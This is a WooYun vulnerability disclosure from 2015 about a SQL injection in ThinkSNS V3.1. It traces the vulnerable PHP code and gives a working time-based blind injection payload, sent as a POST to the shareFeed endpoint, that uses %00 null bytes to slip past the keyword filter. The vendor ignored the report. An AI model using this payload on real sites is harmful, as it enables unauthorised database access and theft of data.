当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-095891

漏洞标题:ThinkSNS 防御绕过思路(union select 真正的无限制sql注射)

相关厂商:ThinkSNS

漏洞作者: menmen519

提交时间:2015-02-16 13:05

修复时间:2015-04-02 10:23

公开时间:2015-04-02 10:23

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-02-16: 细节已通知厂商并且等待厂商处理中
2015-03-03: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
2015-04-27: 细节向核心白帽子及相关领域专家公开
2015-05-07: 细节向普通白帽子公开
2015-05-17: 细节向实习白帽子公开
2015-04-02: 细节向公众公开

简要描述:

ThinkSNS 防御绕过思路(union select 真正的无限制sql注射)

详细说明:

经过我们的分析%00可以全局绕过:

public function shareFeed()
{
// 获取传入的值
$post = $_POST;
// 安全过滤
foreach($post as $key => $val) {
$post[$key] = t($post[$key]);
}
// 过滤内容值
$post['body'] = filter_keyword($post['body']);

// 判断资源是否删除
if(empty($post['curid'])) {
$map['feed_id'] = $post['sid'];
} else {
$map['feed_id'] = $post['curid'];
}
$map['is_del'] = 0;

$isExist = model('Feed')->where($map)->count();
if($isExist == 0) {
$return['status'] = 0;
$return['data'] = '内容已被删除,转发失败';
exit(json_encode($return));
}
// 进行分享操作
$return = model('Share')->shareFeed($post, 'share');


跟进去shareFeed:

public function shareFeed($data, $from = 'share', $lessUids = null)
{
// 返回的数据结果集
$return = array('status'=>0,'data'=>L('PUBLIC_SHARE_FAILED')); // 分享失败
// 验证数据正确性
if(empty($data['sid'])) {
return $return;
}
// type是资源所在的表名
$type = t($data['type']);
// 当前产生微博所属的应用
$app = isset($data['app_name']) ? $data['app_name'] : APP_NAME;
// 是否为接口形式
$forApi = $data['forApi'] ? true : false;
if(!$oldInfo = model('Source')->getSourceInfo($type, $data['sid'], $forApi, $data['app_name'])) {


这里有两个变量可以控制操作那个表:
再跟进来看看:

public function getSourceInfo($table, $row_id, $_forApi = false, $appname = 'public') {
static $forApi = '0';
$forApi == '0' && $forApi = intval ( $_forApi );

$key = $forApi ? $table . $row_id . '_api' : $table . $row_id;
if ($info = static_cache ( 'source_info_' . $key )) {
return $info;
}

switch ($table) {
case 'feed' :
$info = $this->getInfoFromFeed ( $table, $row_id, $_forApi );


经过参数$type, $data['sid'] 可以构造一个新的表,我们发送url:
http://localhost/ThinkSNS_V3.1_20131108_28822/index.php?app=public&mod=Feed&act=shareFeed
postdata:
body=ccccccc&curid=1&type=user_data&sid=1 and if(ascii(substr((select user() fro%00m ts_user_data)1,1))=114,slee%00p(5),1)&app_name=
ok..........

漏洞证明:

修复方案:

版权声明:转载请注明来源 menmen519@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-04-02 10:23

厂商回复:

最新状态:

暂无